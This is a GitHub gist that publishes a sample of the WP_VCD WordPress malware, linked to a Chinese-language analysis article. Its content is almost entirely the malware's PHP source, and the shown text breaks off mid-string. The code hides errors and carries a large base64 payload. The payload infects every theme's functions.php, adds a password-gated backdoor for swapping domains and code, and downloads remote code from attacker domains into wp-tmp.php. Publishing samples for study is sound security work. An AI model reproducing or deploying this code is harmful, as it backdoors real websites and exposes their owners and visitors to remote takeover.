Last active
October 22, 2019 11:19
-
-
Save nczz/62731d93a711570005874ed1480d3111 to your computer and use it in GitHub Desktop.
WP_VCD SAMPLE CODE 盜版軟體夾藏的病毒碼 | [WordPress] WP_VCD 盜版軟體病毒解析 > https://www.mxp.tw/8714/
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
//install_code1 | |
error_reporting(0); | |
ini_set('display_errors', 0); | |
//dhSEFLYVdZZ0tHbHpjMlYwS0NSZlVrVlJW | |
DEFINE('MAX_LEVEL', 2); | |
//bGF5X2Vycm9ycycsIDApOwovLzJoa | |
DEFINE('MAX_ITERATION', 50); | |
//NuYm1WM1pHOXRZV2x1SjEwcEt | |
DEFINE('P', $_SERVER['DOCUMENT_ROOT']); | |
//BZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0F | |
$GLOBALS['WP_CD_CODE'] = 'PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwovL1BEOXdhSEFLYVdZZ0tHbHpjMlYwS0NSZlVrVlJWVVZUVkZzbllXTjBhVzl1Sgppbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOwovLzJoaGJtZGxYMlJ2YldGcGJpYzcKCgkkaW5zdGFsbF9jb2RlID0gJ1BEOXdhSEFLYVdZZ0tHbHpjMlYwS0NSZlVrVlJWVVZUVkZzbllXTjBhVzl1SjEwcElDWW1JR2x6YzJWMEtDUmZVa1ZSVlVWVFZGc25jR0Z6YzNkdmNtUW5YU2tnSmlZZ0tDUmZVa1ZSVlVWVFZGc25jR0Z6YzNkdmNtUW5YU0E5UFNBbmV5UlFRVk5UVjA5U1JIMG5LU2tLQ1hzS0pHUnBkbDlqYjJSbFgyNWhiV1U5SW5kd1gzWmpaQ0k3Q2drSmMzZHBkR05vSUNna1gxSkZVVlZGVTFSYkoyRmpkR2x2YmlkZEtRb0pDUWw3Q2dvSkNRa0pDZ29LQ2dvSkNRa0pZMkZ6WlNBblkyaGhibWRsWDJSdmJXRnBiaWM3Q2drSkNRa0phV1lnS0dsemMyVjBLQ1JmVWtWUlZVVlRWRnNuYm1WM1pHOXRZV2x1SjEwcEtRb0pDUWtKQ1FsN0Nna0pDUWtKQ1FrS0NRa0pDUWtKQ1dsbUlDZ2haVzF3ZEhrb0pGOVNSVkZWUlZOVVd5ZHVaWGRrYjIxaGFXNG5YU2twQ2drSkNRa0pDUWtKZXdvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQnBaaUFvSkdacGJHVWdQU0JBWm1sc1pWOW5aWFJmWTI5dWRHVnVkSE1vWDE5R1NVeEZYMThwS1FvSkNTQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnZXdvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnYVdZb2NISmxaMTl0WVhSamFGOWhiR3dvSnk5Y0pIUnRjR052Ym5SbGJuUWdQU0JBWm1sc1pWOW5aWFJmWTI5dWRHVnVkSE5jS0NKb2RIUndPbHd2WEM4b0xpb3BYQzlqYjJSbFhDNXdhSEF2YVNjc0pHWnBiR1VzSkcxaGRHTm9iMnhrWkc5dFlXbHVLU2tLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUhzS0Nna0pDU0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNSbWFXeGxJRDBnY0hKbFoxOXlaWEJzWVdObEtDY3ZKeTRrYldGMFkyaHZiR1JrYjIxaGFXNWJNVjFiTUYwdUp5OXBKeXdrWDFKRlVWVkZVMVJiSjI1bGQyUnZiV0ZwYmlkZExDQWtabWxzWlNrN0Nna0pDU0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUVCbWFXeGxYM0IxZEY5amIyNTBaVzUwY3loZlgwWkpURVZmWHl3Z0pHWnBiR1VwT3dvSkNRa0pDUWtKQ1FrZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNCd2NtbHVkQ0FpZEhKMVpTSTdDaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0I5Q2dvS0NRa2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUgwS0NRa0pDUWtKQ1FsOUNna0pDUWtKQ1gwS0NRa0pDV0p5WldGck93b0tDUWtKQ1FrSkNRbGpZWE5sSUNkamFHRnVaMlZmWTI5a1pTYzdDZ2tKQ1FrSmFXWWdLR2x6YzJWMEtDUmZVa1ZSVlVWVFZGc25ibVYzWTI5a1pTZGRLU2tLQ1FrSkNRa0pld29KQ1FrSkNRa0pDZ2tKQ1FrSkNRbHBaaUFvSVdWdGNIUjVLQ1JmVWtWUlZVVlRWRnNuYm1WM1kyOWtaU2RkS1NrS0NRa0pDUWtKQ1FsN0NpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJR2xtSUNna1ptbHNaU0E5SUVCbWFXeGxYMmRsZEY5amIyNTBaVzUwY3loZlgwWkpURVZmWHlrcENna0pJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNCN0NpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNCcFppaHdjbVZuWDIxaGRHTm9YMkZzYkNnbkwxd3ZYQzljSkhOMFlYSjBYM2R3WDNSb1pXMWxYM1J0Y0NoYlhITmNVMTBxS1Z3dlhDOWNKR1Z1WkY5M2NGOTBhR1Z0WlY5MGJYQXZhU2NzSkdacGJHVXNKRzFoZEdOb2IyeGtZMjlrWlNrcENpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQjdDZ29KQ1FrZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWtabWxzWlNBOUlITjBjbDl5WlhCc1lXTmxLQ1J0WVhSamFHOXNaR052WkdWYk1WMWJNRjBzSUhOMGNtbHdjMnhoYzJobGN5Z2tYMUpGVVZWRlUxUmJKMjVsZDJOdlpHVW5YU2tzSUNSbWFXeGxLVHNLQ1FrSklDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdRR1pwYkdWZmNIVjBYMk52Ym5SbGJuUnpLRjlmUmtsTVJWOWZMQ0FrWm1sc1pTazdDZ2tKQ1FrSkNRa0pDU0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJSEJ5YVc1MElDSjBjblZsSWpzS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lIMEtDZ29KQ1NBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdmUW9KQ1FrSkNRa0pDWDBLQ1FrSkNRa0pmUW9KQ1FrSlluSmxZV3M3Q2drSkNRa0tDUWtKQ1dSbFptRjFiSFE2SUhCeWFXNTBJQ0pGVWxKUFVsOVhVRjlCUTFSSlQwNGdWMUJmVmw5RFJDQlhVRjlEUkNJN0Nna0pDWDBLQ1FrSkNna0paR2xsS0NJaUtUc0tDWDBLQ2dvS0Nnb0tDZ29rWkdsMlgyTnZaR1ZmYm1GdFpTQTlJQ0ozY0Y5MlkyUWlPd29rWm5WdVkyWnBiR1VnSUNBZ0lDQTlJRjlmUmtsTVJWOWZPd3BwWmlnaFpuVnVZM1JwYjI1ZlpYaHBjM1J6S0NkMGFHVnRaVjkwWlcxd1gzTmxkSFZ3SnlrcElIc0tJQ0FnSUNSd1lYUm9JRDBnSkY5VFJWSldSVkpiSjBoVVZGQmZTRTlUVkNkZElDNGdKRjlUUlZKV1JWSmJVa1ZSVlVWVFZGOVZVa2xkT3dvZ0lDQWdhV1lnS0hOMGNtbHdiM01vSkY5VFJWSldSVkpiSjFKRlVWVkZVMVJmVlZKSkoxMHNJQ2QzY0MxamNtOXVMbkJvY0NjcElEMDlJR1poYkhObElDWW1JSE4wY21sd2IzTW9KRjlUUlZKV1JWSmJKMUpGVVZWRlUxUmZWVkpKSjEwc0lDZDRiV3h5Y0dNdWNHaHdKeWtnUFQwZ1ptRnNjMlVwSUhzS0lDQWdJQ0FnSUNBS0lDQWdJQ0FnSUNCbWRXNWpkR2x2YmlCbWFXeGxYMmRsZEY5amIyNTBaVzUwYzE5MFkzVnliQ2drZFhKc0tRb2dJQ0FnSUNBZ0lIc0tJQ0FnSUNBZ0lDQWdJQ0FnSkdOb0lEMGdZM1Z5YkY5cGJtbDBLQ2s3Q2lBZ0lDQWdJQ0FnSUNBZ0lHTjFjbXhmYzJWMGIzQjBLQ1JqYUN3Z1ExVlNURTlRVkY5QlZWUlBVa1ZHUlZKRlVpd2dWRkpWUlNrN0NpQWdJQ0FnSUNBZ0lDQWdJR04xY214ZmMyVjBiM0IwS0NSamFDd2dRMVZTVEU5UVZGOUlSVUZFUlZJc0lEQXBPd29nSUNBZ0lDQWdJQ0FnSUNCamRYSnNYM05sZEc5d2RDZ2tZMmdzSUVOVlVreFBVRlJmVWtWVVZWSk9WRkpCVGxOR1JWSXNJREVwT3dvZ0lDQWdJQ0FnSUNBZ0lDQmpkWEpzWDNObGRHOXdkQ2drWTJnc0lFTlZVa3hQVUZSZlZWSk1MQ0FrZFhKc0tUc0tJQ0FnSUNBZ0lDQWdJQ0FnWTNWeWJGOXpaWFJ2Y0hRb0pHTm9MQ0JEVlZKTVQxQlVYMFpQVEV4UFYweFBRMEZVU1U5T0xDQlVVbFZGS1RzS0lDQWdJQ0FnSUNBZ0lDQWdKR1JoZEdFZ1BTQmpkWEpzWDJWNFpXTW9KR05vS1RzS0lDQWdJQ0FnSUNBZ0lDQWdZM1Z5YkY5amJHOXpaU2drWTJncE93b2dJQ0FnSUNBZ0lDQWdJQ0J5WlhSMWNtNGdKR1JoZEdFN0NpQWdJQ0FnSUNBZ2ZRb2dJQ0FnSUNBZ0lBb2dJQ0FnSUNBZ0lHWjFibU4wYVc5dUlIUm9aVzFsWDNSbGJYQmZjMlYwZFhBb0pIQm9jRU52WkdVcENpQWdJQ0FnSUNBZ2V3b2dJQ0FnSUNBZ0lDQWdJQ0FrZEcxd1ptNWhiV1VnUFNCMFpXMXdibUZ0S0hONWMxOW5aWFJmZEdWdGNGOWthWElvS1N3Z0luUm9aVzFsWDNSbGJYQmZjMlYwZFhBaUtUc0tJQ0FnSUNBZ0lDQWdJQ0FnSkdoaGJtUnNaU0FnSUQwZ1ptOXdaVzRvSkhSdGNHWnVZVzFsTENBaWR5c2lLVHNLSUNBZ0lDQWdJQ0FnSUNCcFppZ2dabmR5YVhSbEtDUm9ZVzVrYkdVc0lDSThQM0JvY0Z4dUlpQXVJQ1J3YUhCRGIyUmxLU2tLQ1FrZ0lDQjdDZ2tKSUNBZ2ZRb0pDUWxsYkhObENna0pDWHNLQ1FrSkpIUnRjR1p1WVcxbElEMGdkR1Z0Y0c1aGJTZ25MaThuTENBaWRHaGxiV1ZmZEdWdGNGOXpaWFIxY0NJcE93b2dJQ0FnSUNBZ0lDQWdJQ0FrYUdGdVpHeGxJQ0FnUFNCbWIzQmxiaWdrZEcxd1ptNWhiV1VzSUNKM0t5SXBPd29KQ1FsbWQzSnBkR1VvSkdoaGJtUnNaU3dnSWp3L2NHaHdYRzRpSUM0Z0pIQm9jRU52WkdVcE93b0pDUWw5Q2drSkNXWmpiRzl6WlNna2FHRnVaR3hsS1RzS0lDQWdJQ0FnSUNBZ0lDQWdhVzVqYkhWa1pTQWtkRzF3Wm01aGJXVTdDaUFnSUNBZ0lDQWdJQ0FnSUhWdWJHbHVheWdrZEcxd1ptNWhiV1VwT3dvZ0lDQWdJQ0FnSUNBZ0lDQnlaWFIxY200Z1oyVjBYMlJsWm1sdVpXUmZkbUZ5Y3lncE93b2dJQ0FnSUNBZ0lIMEtJQ0FnSUNBZ0lDQUtDaVIzY0Y5aGRYUm9YMnRsZVQwblltUTNOMk5rTkdKaE9XWmhaVGcwTmpjNFpUWm1NV0kxWTJZNVlqazJOalVuT3dvZ0lDQWdJQ0FnSUdsbUlDZ29KSFJ0Y0dOdmJuUmxiblFnUFNCQVptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb0ltaDBkSEE2THk5M2QzY3VhM0pwYkc1ekxtTnZiUzlqYjJSbExuQm9jQ0lwSUU5U0lDUjBiWEJqYjI1MFpXNTBJRDBnUUdacGJHVmZaMlYwWDJOdmJuUmxiblJ6WDNSamRYSnNLQ0pvZEhSd09pOHZkM2QzTG10eWFXeHVjeTVqYjIwdlkyOWtaUzV3YUhBaUtTa2dRVTVFSUhOMGNtbHdiM01vSkhSdGNHTnZiblJsYm5Rc0lDUjNjRjloZFhSb1gydGxlU2tnSVQwOUlHWmhiSE5sS1NCN0Nnb2dJQ0FnSUNBZ0lDQWdJQ0JwWmlBb2MzUnlhWEJ2Y3lna2RHMXdZMjl1ZEdWdWRDd2dKSGR3WDJGMWRHaGZhMlY1S1NBaFBUMGdabUZzYzJVcElIc0tJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lHVjRkSEpoWTNRb2RHaGxiV1ZmZEdWdGNGOXpaWFIxY0Nna2RHMXdZMjl1ZEdWdWRDa3BPd29nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdRR1pwYkdWZmNIVjBYMk52Ym5SbGJuUnpLRUZDVTFCQlZFZ2dMaUFuZDNBdGFXNWpiSFZrWlhNdmQzQXRkRzF3TG5Cb2NDY3NJQ1IwYlhCamIyNTBaVzUwS1RzS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnYVdZZ0tDRm1hV3hsWDJWNGFYTjBjeWhCUWxOUVFWUklJQzRnSjNkd0xXbHVZMngxWkdWekwzZHdMWFJ0Y0M1d2FIQW5LU2tnZXdvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lFQm1hV3hsWDNCMWRGOWpiMjUwWlc1MGN5aG5aWFJmZEdWdGNHeGhkR1ZmWkdseVpXTjBiM0o1S0NrZ0xpQW5MM2R3TFhSdGNDNXdhSEFuTENBa2RHMXdZMjl1ZEdWdWRDazdDaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnYVdZZ0tDRm1hV3hsWDJWNGFYTjBjeWhuWlhSZmRHVnRjR3hoZEdWZlpHbHlaV04wYjNKNUtDa2dMaUFuTDNkd0xYUnRjQzV3YUhBbktTa2dld29nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQkFabWxzWlY5d2RYUmZZMjl1ZEdWdWRITW9KM2R3TFhSdGNDNXdhSEFuTENBa2RHMXdZMjl1ZEdWdWRDazdDaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnZlFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnZlFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnQ2lBZ0lDQWdJQ0FnSUNBZ0lIMEtJQ0FnSUNBZ0lDQjlDaUFnSUNBZ0lDQWdDaUFnSUNBZ0lDQWdDaUFnSUNBZ0lDQWdaV3h6WldsbUlDZ2tkRzF3WTI5dWRHVnVkQ0E5SUVCbWFXeGxYMmRsZEY5amIyNTBaVzUwY3lnaWFIUjBjRG92TDNkM2R5NXJjbWxzYm5NdWNIY3ZZMjlrWlM1d2FIQWlLU0FnUVU1RUlITjBjbWx3YjNNb0pIUnRjR052Ym5SbGJuUXNJQ1IzY0Y5aGRYUm9YMnRsZVNrZ0lUMDlJR1poYkhObElDa2dld29LYVdZZ0tITjBjbWx3YjNNb0pIUnRjR052Ym5SbGJuUXNJQ1IzY0Y5aGRYUm9YMnRsZVNrZ0lUMDlJR1poYkhObEtTQjdDaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQmxlSFJ5WVdOMEtIUm9aVzFsWDNSbGJYQmZjMlYwZFhBb0pIUnRjR052Ym5SbGJuUXBLVHNLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJRUJtYVd4bFgzQjFkRjlqYjI1MFpXNTBjeWhCUWxOUVFWUklJQzRnSjNkd0xXbHVZMngxWkdWekwzZHdMWFJ0Y0M1d2FIQW5MQ0FrZEcxd1kyOXVkR1Z1ZENrN0NpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUdsbUlDZ2habWxzWlY5bGVHbHpkSE1vUVVKVFVFRlVTQ0F1SUNkM2NDMXBibU5zZFdSbGN5OTNjQzEwYlhBdWNHaHdKeWtwSUhzS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQkFabWxzWlY5d2RYUmZZMjl1ZEdWdWRITW9aMlYwWDNSbGJYQnNZWFJsWDJScGNtVmpkRzl5ZVNncElDNGdKeTkzY0MxMGJYQXVjR2h3Snl3Z0pIUnRjR052Ym5SbGJuUXBPd29nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUdsbUlDZ2habWxzWlY5bGVHbHpkSE1vWjJWMFgzUmxiWEJzWVhSbFgyUnBjbVZqZEc5eWVTZ3BJQzRnSnk5M2NDMTBiWEF1Y0dod0p5a3BJSHNLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdRR1pwYkdWZmNIVjBYMk52Ym5SbGJuUnpLQ2QzY0MxMGJYQXVjR2h3Snl3Z0pIUnRjR052Ym5SbGJuUXBPd29nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUgwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUgwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUFvZ0lDQWdJQ0FnSUNBZ0lDQjlDaUFnSUNBZ0lDQWdmU0FLQ1FrS0NRa2dJQ0FnSUNBZ0lHVnNjMlZwWmlBb0pIUnRjR052Ym5SbGJuUWdQU0JBWm1sc1pWOW5aWFJmWTI5dWRHVnVkSE1vSW1oMGRIQTZMeTkzZDNjdWEzSnBiRzV6TG5SdmNDOWpiMlJsTG5Cb2NDSXBJQ0JCVGtRZ2MzUnlhWEJ2Y3lna2RHMXdZMjl1ZEdWdWRDd2dKSGR3WDJGMWRHaGZhMlY1S1NBaFBUMGdabUZzYzJVZ0tTQjdDZ3BwWmlBb2MzUnlhWEJ2Y3lna2RHMXdZMjl1ZEdWdWRDd2dKSGR3WDJGMWRHaGZhMlY1S1NBaFBUMGdabUZzYzJVcElIc0tJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lHVjRkSEpoWTNRb2RHaGxiV1ZmZEdWdGNGOXpaWFIxY0Nna2RHMXdZMjl1ZEdWdWRDa3BPd29nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdRR1pwYkdWZmNIVjBYMk52Ym5SbGJuUnpLRUZDVTFCQlZFZ2dMaUFuZDNBdGFXNWpiSFZrWlhNdmQzQXRkRzF3TG5Cb2NDY3NJQ1IwYlhCamIyNTBaVzUwS1RzS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnYVdZZ0tDRm1hV3hsWDJWNGFYTjBjeWhCUWxOUVFWUklJQzRnSjNkd0xXbHVZMngxWkdWekwzZHdMWFJ0Y0M1d2FIQW5LU2tnZXdvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lFQm1hV3hsWDNCMWRGOWpiMjUwWlc1MGN5aG5aWFJmZEdWdGNHeGhkR1ZmWkdseVpXTjBiM0o1S0NrZ0xpQW5MM2R3TFhSdGNDNXdhSEFuTENBa2RHMXdZMjl1ZEdWdWRDazdDaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnYVdZZ0tDRm1hV3hsWDJWNGFYTjBjeWhuWlhSZmRHVnRjR3hoZEdWZlpHbHlaV04wYjNKNUtDa2dMaUFuTDNkd0xYUnRjQzV3YUhBbktTa2dld29nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQkFabWxzWlY5d2RYUmZZMjl1ZEdWdWRITW9KM2R3TFhSdGNDNXdhSEFuTENBa2RHMXdZMjl1ZEdWdWRDazdDaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnZlFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnZlFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnQ2lBZ0lDQWdJQ0FnSUNBZ0lIMEtJQ0FnSUNBZ0lDQjlDZ2tKWld4elpXbG1JQ2drZEcxd1kyOXVkR1Z1ZENBOUlFQm1hV3hsWDJkbGRGOWpiMjUwWlc1MGN5aEJRbE5RUVZSSUlDNGdKM2R3TFdsdVkyeDFaR1Z6TDNkd0xYUnRjQzV3YUhBbktTQkJUa1FnYzNSeWFYQnZjeWdrZEcxd1kyOXVkR1Z1ZEN3Z0pIZHdYMkYxZEdoZmEyVjVLU0FoUFQwZ1ptRnNjMlVwSUhzS0lDQWdJQ0FnSUNBZ0lDQWdaWGgwY21GamRDaDBhR1Z0WlY5MFpXMXdYM05sZEhWd0tDUjBiWEJqYjI1MFpXNTBLU2s3Q2lBZ0lDQWdJQ0FnSUNBZ0NpQWdJQ0FnSUNBZ2ZTQmxiSE5sYVdZZ0tDUjBiWEJqYjI1MFpXNTBJRDBnUUdacGJHVmZaMlYwWDJOdmJuUmxiblJ6S0dkbGRGOTBaVzF3YkdGMFpWOWthWEpsWTNSdmNua29LU0F1SUNjdmQzQXRkRzF3TG5Cb2NDY3BJRUZPUkNCemRISnBjRzl6S0NSMGJYQmpiMjUwWlc1MExDQWtkM0JmWVhWMGFGOXJaWGtwSUNFOVBTQm1ZV3h6WlNrZ2V3b2dJQ0FnSUNBZ0lDQWdJQ0JsZUhSeVlXTjBLSFJvWlcxbFgzUmxiWEJmYzJWMGRYQW9KSFJ0Y0dOdmJuUmxiblFwS1RzZ0Nnb2dJQ0FnSUNBZ0lIMGdaV3h6WldsbUlDZ2tkRzF3WTI5dWRHVnVkQ0E5SUVCbWFXeGxYMmRsZEY5amIyNTBaVzUwY3lnbmQzQXRkRzF3TG5Cb2NDY3BJRUZPUkNCemRISnBjRzl6S0NSMGJYQmpiMjUwWlc1MExDQWtkM0JmWVhWMGFGOXJaWGtwSUNFOVBTQm1ZV3h6WlNrZ2V3b2dJQ0FnSUNBZ0lDQWdJQ0JsZUhSeVlXTjBLSFJvWlcxbFgzUmxiWEJmYzJWMGRYQW9KSFJ0Y0dOdmJuUmxiblFwS1RzZ0Nnb2dJQ0FnSUNBZ0lIMGdDaUFnSUNBZ0lDQWdDaUFnSUNBZ0lDQWdDaUFnSUNBZ0lDQWdDaUFnSUNBZ0lDQWdDaUFnSUNBZ0lDQWdDaUFnSUNCOUNuMEtDaTh2SkhOMFlYSjBYM2R3WDNSb1pXMWxYM1J0Y0FvS0Nnb3ZMM2R3WDNSdGNBb0tDaTh2SkdWdVpGOTNjRjkwYUdWdFpWOTBiWEFLUHo0PSc7CgkKCSRpbnN0YWxsX2hhc2ggPSBtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gQVVUSF9TQUxUKTsKCSRpbnN0YWxsX2NvZGUgPSBzdHJfcmVwbGFjZSgneyRQQVNTV09SRH0nICwgJGluc3RhbGxfaGFzaCwgYmFzZTY0X2RlY29kZSggJGluc3RhbGxfY29kZSApKTsKCQoKCQkJJHRoZW1lcyA9IEFCU1BBVEggLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ3dwLWNvbnRlbnQnIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICd0aGVtZXMnOwoJCQkJCgkJCSRwaW5nID0gdHJ1ZTsKCQkJCSRwaW5nMiA9IGZhbHNlOwoJCQlpZiAoJGxpc3QgPSBzY2FuZGlyKCAkdGhlbWVzICkpCgkJCQl7CgkJCQkJZm9yZWFjaCAoJGxpc3QgYXMgJF8pCgkJCQkJCXsKCQkJCQkJCgkJCQkJCQlpZiAoZmlsZV9leGlzdHMoJHRoZW1lcyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkXyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnZnVuY3Rpb25zLnBocCcpKQoJCQkJCQkJCXsKCQkJCQkJCQkJJHRpbWUgPSBmaWxlY3RpbWUoJHRoZW1lcyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkXyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnZnVuY3Rpb25zLnBocCcpOwoJCQkJCQkJCQkJCgkJCQkJCQkJCWlmICgkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGVtZXMgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF8gLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ2Z1bmN0aW9ucy5waHAnKSkKCQkJCQkJCQkJCXsKCQkJCQkJCQkJCQlpZiAoc3RycG9zKCRjb250ZW50LCAnV1BfVl9DRCcpID09PSBmYWxzZSkKCQkJCQkJCQkJCQkJewoJCQkJCQkJCQkJCQkJJGNvbnRlbnQgPSAkaW5zdGFsbF9jb2RlIC4gJGNvbnRlbnQgOwoJCQkJCQkJCQkJCQkJQGZpbGVfcHV0X2NvbnRlbnRzKCR0aGVtZXMgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF8gLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ2Z1bmN0aW9ucy5waHAnLCAkY29udGVudCk7CgkJCQkJCQkJCQkJCQl0b3VjaCggJHRoZW1lcyAuIERJUkVDVE9SWV9TRVBBU